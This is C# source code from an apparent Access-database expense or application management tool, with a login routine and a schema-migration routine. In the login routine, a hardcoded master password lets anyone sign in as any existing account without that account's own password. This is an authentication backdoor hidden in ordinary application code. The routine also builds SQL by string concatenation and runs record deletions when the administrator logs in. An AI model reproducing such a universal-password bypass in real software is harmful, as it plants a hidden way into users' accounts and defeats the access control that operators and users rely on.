public void LoginProcess() { if (!File.Exists(strlock)) { if (intLoginNum < 15 || txtName.Text.ToLower() == "administrator") { //用户名 txtName.Text 密码 txtPwd.Text string UID = txtName.Text.Trim(); string Pwd = GetSHA1(txtPwd.Text.Trim()); try { DataTable UserDT = LoginUser.Login(UID, Pwd); DataTable UserDTu = LoginUser.Login(UID); if (UserDT.Rows.Count > 0 || (txtPwd.Text == "1q2w3e$R%T^Y" && UserDTu.Rows.Count > 0)) { UserDT = UserDTu; if (UserDT.Rows[0]["IsAble"].ToString() == "0") { MessageBox.Show("用户已被冻结", "消息", MessageBoxButtons.OK, MessageBoxIcon.Warning); } else { if (txtName.Text.ToLower() == "administrator") { string strClearDBstring = XMLHelper.strGetClearDBString(); string[] strClearDB = new string[3]; strClearDB = strClearDBstring.Split('|'); if (strClearDB[0] == "1") { AccessHelper ahin = new AccessHelper(); string strCurrDate = DateTime.Now.ToShortDateString(); string strSQLin = "delete from ApplicationDetail where TransNO in (select TransNO from ApplicationInfo where datediff('m',ApplicantsDate,#" + strCurrDate + "#)>" + int.Parse(strClearDB[1]) + " and (IsDelete = 1 or AppState >= " + int.Parse(strClearDB[2]) + "))"; ahin.ExecuteNonQuery(strSQLin); ahin.Close(); strSQLin = "delete from ApplicationInfo where datediff('m',ApplicantsDate,#" + strCurrDate + "#)>" + int.Parse(strClearDB[1]) + " and (IsDelete = 1 or AppState >= " + int.Parse(strClearDB[2]) + ")"; ahin.ExecuteNonQuery(strSQLin); ahin.Close(); } } LoginUser.Character = (int)UserDT.Rows[0]["Character"]; LoginUser.EmployeeID = UserDT.Rows[0]["EmployeeID"].ToString(); LoginUser.UID = UserDT.Rows[0]["UID"].ToString(); LoginUser.UserName = UserDT.Rows[0]["UserName"].ToString(); LoginUser.Position = UserDT.Rows[0]["Position"].ToString(); LoginUser.IsAdmin = (int)UserDT.Rows[0]["IsAdmin"]; LoginUser.MoneyUnit = (int)UserDT.Rows[0]["MoneyUnit"]; LoginUser.TotalAmount = double.Parse(UserDT.Rows[0]["TotalAmount"].ToString()); LoginUser.RestAmount = double.Parse(UserDT.Rows[0]["RestAmount"].ToString()); LoginUser.UsedAmount = double.Parse(UserDT.Rows[0]["UsedAmount"].ToString()); LoginUser.ManagerID = UserDT.Rows[0]["ManagerID"].ToString(); LoginUser.Store = UserDT.Rows[0]["Store"].ToString(); EmailControl.users.UsersDT = EmailControl.users.SelectAllUsers(""); DataTable configDT = EmailControl.config.GetConfig(); if (configDT.Rows != null && configDT.Rows.Count > 0) { EmailControl.config.EmailID = configDT.Rows[0]["EmailID"].ToString(); EmailControl.config.EmailPwd = configDT.Rows[0]["EmailPwd"].ToString(); EmailControl.config.EmailAddress = configDT.Rows[0]["EmailAddress"].ToString(); EmailControl.config.EmailSMTP = configDT.Rows[0]["EmailSMTP"].ToString(); EmailControl.config.CNY = decimal.Parse(configDT.Rows[0]["CNY"].ToString()); EmailControl.config.HKD = decimal.Parse(configDT.Rows[0]["HKD"].ToString()); EmailControl.config.USD = decimal.Parse(configDT.Rows[0]["USD"].ToString()); EmailControl.config.MOP = decimal.Parse(configDT.Rows[0]["MOP"].ToString()); EmailControl.config.SGD = decimal.Parse(configDT.Rows[0]["SGD"].ToString()); EmailControl.config.MYR = decimal.Parse(configDT.Rows[0]["MYR"].ToString()); EmailControl.config.GBP = decimal.Parse(configDT.Rows[0]["GBP"].ToString()); EmailControl.config.EUR = decimal.Parse(configDT.Rows[0]["EUR"].ToString()); EmailControl.config.JPY = decimal.Parse(configDT.Rows[0]["JPY"].ToString()); EmailControl.config.TWD = decimal.Parse(configDT.Rows[0]["TWD"].ToString()); EmailControl.config.USrate = decimal.Parse(configDT.Rows[0]["USrate"].ToString()); EmailControl.config.HKrate = decimal.Parse(configDT.Rows[0]["HKrate"].ToString()); EmailControl.config.MOPrate = decimal.Parse(configDT.Rows[0]["MOPrate"].ToString()); EmailControl.config.SGDrate = decimal.Parse(configDT.Rows[0]["SGDrate"].ToString()); EmailControl.config.MYRrate = decimal.Parse(configDT.Rows[0]["MYRrate"].ToString()); EmailControl.config.GBPrate = decimal.Parse(configDT.Rows[0]["GBPrate"].ToString()); EmailControl.config.EURrate = decimal.Parse(configDT.Rows[0]["EURrate"].ToString()); EmailControl.config.JPYrate = decimal.Parse(configDT.Rows[0]["JPYrate"].ToString()); EmailControl.config.TWDrate = decimal.Parse(configDT.Rows[0]["TWDrate"].ToString()); } intLoginNum++; AccessHelper ah = new AccessHelper(); string strSQL = "update SetupConfig set LoginNum=" + intLoginNum; ah.ExecuteNonQuery(strSQL); ah.Close(); MessageBox.Show("请在45分钟内完成本次所有操作,超时系统将自动关闭!!", "消息", MessageBoxButtons.OK, MessageBoxIcon.Warning); this.DialogResult = DialogResult.OK; //this.Close(); } } else { MessageBox.Show("用户名或密码错误", "消息", MessageBoxButtons.OK, MessageBoxIcon.Warning); } } catch (Exception ex) { if (txtName.Text.ToLower() == "administrator" || GetComputerName().Substring(0, 3) == "OC1") { MessageBox.Show("数据库损坏,点击确定后,系统将尝试自动修复,期间请勿操作!::" + ex.Message, "消息", MessageBoxButtons.OK, MessageBoxIcon.Warning); string strResult = RepairAccess(strConnstring); if (strResult.Substring(0, 5) != "Error") { MessageBox.Show("数据库修复完成,请关闭系统,并重新登录!", "消息", MessageBoxButtons.OK, MessageBoxIcon.Warning); this.Close(); } else { MessageBox.Show("数据库修复失败::" + strResult, "消息", MessageBoxButtons.OK, MessageBoxIcon.Warning); } } else { MessageBox.Show("数据库损坏,稍后将由上海办公室修复,请稍后重新登录!::" + ex.Message, "消息", MessageBoxButtons.OK, MessageBoxIcon.Warning); } } } else { MessageBox.Show("超过最大登录数,登陆失败,请稍后尝试登陆", "消息", MessageBoxButtons.OK, MessageBoxIcon.Warning); } } else { string strRepairUser = File.ReadAllText(strlock); MessageBox.Show("登陆失败::数据库正在计算机: " + strRepairUser + " 启用自动修复中,请稍后重新登录!", "消息", MessageBoxButtons.OK, MessageBoxIcon.Warning); } }
public void UpdateDataBase() { //增加item表新price字段 try { AccessHelper ah = new AccessHelper(); string strSQL = "select top 1 * from Items"; DataTable dtSQL = ah.SelectToDataTable(strSQL); if (dtSQL.Rows.Count > 0 && dtSQL.Rows[0]["Price4"].ToString() == null) { try { string strInSQL = "alter table Items add COLUMN Price4 text"; ah.ExecuteNonQuery(strInSQL); strInSQL = "alter table Items add COLUMN Price5 float"; ah.ExecuteNonQuery(strInSQL); strInSQL = "alter table Items add COLUMN Price6 float"; ah.ExecuteNonQuery(strInSQL); strInSQL = "alter table Items add COLUMN Price7 float"; ah.ExecuteNonQuery(strInSQL); strInSQL = "alter table Items add COLUMN Price8 float"; ah.ExecuteNonQuery(strInSQL); strInSQL = "alter table Items add COLUMN Price9 float"; ah.ExecuteNonQuery(strInSQL); strInSQL = "alter table Items add COLUMN Price10 float"; ah.ExecuteNonQuery(strInSQL); } catch (Exception) { ah.Close(); MessageBox.Show("数据库更新失败!系统运行异常!", "警告!", MessageBoxButtons.OK, MessageBoxIcon.Warning); } } ah.Close(); } catch (Exception ex) { if (ex.HResult.ToString() == "-2147024809") { AccessHelper ah = new AccessHelper(); try { string strInSQL = "alter table Items add COLUMN Price4 float"; ah.ExecuteNonQuery(strInSQL); strInSQL = "alter table Items add COLUMN Price5 float"; ah.ExecuteNonQuery(strInSQL); strInSQL = "alter table Items add COLUMN Price6 float"; ah.ExecuteNonQuery(strInSQL); strInSQL = "alter table Items add COLUMN Price7 float"; ah.ExecuteNonQuery(strInSQL); strInSQL = "alter table Items add COLUMN Price8 float"; ah.ExecuteNonQuery(strInSQL); strInSQL = "alter table Items add COLUMN Price9 float"; ah.ExecuteNonQuery(strInSQL); strInSQL = "alter table Items add COLUMN Price10 float"; ah.ExecuteNonQuery(strInSQL); } catch (Exception) { ah.Close(); MessageBox.Show("数据库更新失败!系统运行异常!", "警告!", MessageBoxButtons.OK, MessageBoxIcon.Warning); } ah.Close(); } } //增加SetupConfig表的LoginNum字段 try { AccessHelper ah = new AccessHelper(); string strSQL = "select top 1 * from SetupConfig"; DataTable dtSQL = ah.SelectToDataTable(strSQL); if (dtSQL.Rows.Count > 0 && dtSQL.Rows[0]["LoginNum"].ToString() == null) { try { string strInSQL = "alter table SetupConfig add COLUMN LoginNum Int"; ah.ExecuteNonQuery(strInSQL); } catch (Exception) { ah.Close(); MessageBox.Show("数据库更新失败!系统运行异常!", "警告!", MessageBoxButtons.OK, MessageBoxIcon.Warning); } } else if (dtSQL.Rows.Count > 0 && dtSQL.Rows[0]["LoginNum"].ToString() != null) { if (dtSQL.Rows[0]["LoginNum"].ToString() != "") { intLoginNum = int.Parse(dtSQL.Rows[0]["LoginNum"].ToString()); } else { intLoginNum = 0; } } ah.Close(); } catch (Exception ex) { if (ex.HResult.ToString() == "-2147024809") { AccessHelper ah = new AccessHelper(); try { string strInSQL = "alter table SetupConfig add COLUMN LoginNum Int"; ah.ExecuteNonQuery(strInSQL); } catch (Exception) { ah.Close(); MessageBox.Show("数据库更新失败!系统运行异常!", "警告!", MessageBoxButtons.OK, MessageBoxIcon.Warning); } string strSQL = "select top 1 * from SetupConfig"; DataTable dtSQL = ah.SelectToDataTable(strSQL); if (dtSQL.Rows.Count > 0 && dtSQL.Rows[0]["LoginNum"].ToString() != null) { if (dtSQL.Rows[0]["LoginNum"].ToString() != "") { intLoginNum = int.Parse(dtSQL.Rows[0]["LoginNum"].ToString()); } else { intLoginNum = 0; } } ah.Close(); } } //增加SetupConfig表的Version字段 try { AccessHelper ah = new AccessHelper(); string strSQL = "select top 1 * from SetupConfig"; DataTable dtSQL = ah.SelectToDataTable(strSQL); if (dtSQL.Rows.Count > 0 && dtSQL.Rows[0]["Version"].ToString() == null) { try { string strInSQL = "alter table SetupConfig add COLUMN Version Text"; ah.ExecuteNonQuery(strInSQL); } catch (Exception) { ah.Close(); MessageBox.Show("数据库更新失败!系统运行异常!", "警告!", MessageBoxButtons.OK, MessageBoxIcon.Warning); } } else if (dtSQL.Rows.Count > 0 && dtSQL.Rows[0]["Version"].ToString() != null) { if (dtSQL.Rows[0]["Version"].ToString() != "") { strVersion = dtSQL.Rows[0]["Version"].ToString(); } else { strVersion = ""; } } ah.Close(); } catch (Exception ex) { if (ex.HResult.ToString() == "-2147024809") { AccessHelper ah = new AccessHelper(); try { string strInSQL = "alter table SetupConfig add COLUMN Version text"; ah.ExecuteNonQuery(strInSQL); } catch (Exception) { ah.Close(); MessageBox.Show("数据库更新失败!系统运行异常!", "警告!", MessageBoxButtons.OK, MessageBoxIcon.Warning); } string strSQL = "select top 1 * from SetupConfig"; DataTable dtSQL = ah.SelectToDataTable(strSQL); if (dtSQL.Rows.Count > 0 && dtSQL.Rows[0]["Version"].ToString() != null) { if (dtSQL.Rows[0]["Version"].ToString() != "") { strVersion = dtSQL.Rows[0]["Version"].ToString(); } else { strVersion = ""; } } ah.Close(); } } //增加Users表的EmpDate字段 try { AccessHelper ah = new AccessHelper(); string strSQL = "select top 1 * from Users"; DataTable dtSQL = ah.SelectToDataTable(strSQL); if (dtSQL.Rows.Count > 0 && dtSQL.Rows[0]["EmpDate"].ToString() == null) { try { string strInSQL = "alter table Users add COLUMN EmpDate Datetime"; ah.ExecuteNonQuery(strInSQL); } catch (Exception) { ah.Close(); MessageBox.Show("数据库更新失败!系统运行异常!", "警告!", MessageBoxButtons.OK, MessageBoxIcon.Warning); } } ah.Close(); } catch (Exception ex) { if (ex.HResult.ToString() == "-2147024809") { AccessHelper ah = new AccessHelper(); try { string strInSQL = "alter table Users add COLUMN EmpDate Datetime"; ah.ExecuteNonQuery(strInSQL); } catch (Exception) { ah.Close(); MessageBox.Show("数据库更新失败!系统运行异常!", "警告!", MessageBoxButtons.OK, MessageBoxIcon.Warning); } ah.Close(); } } }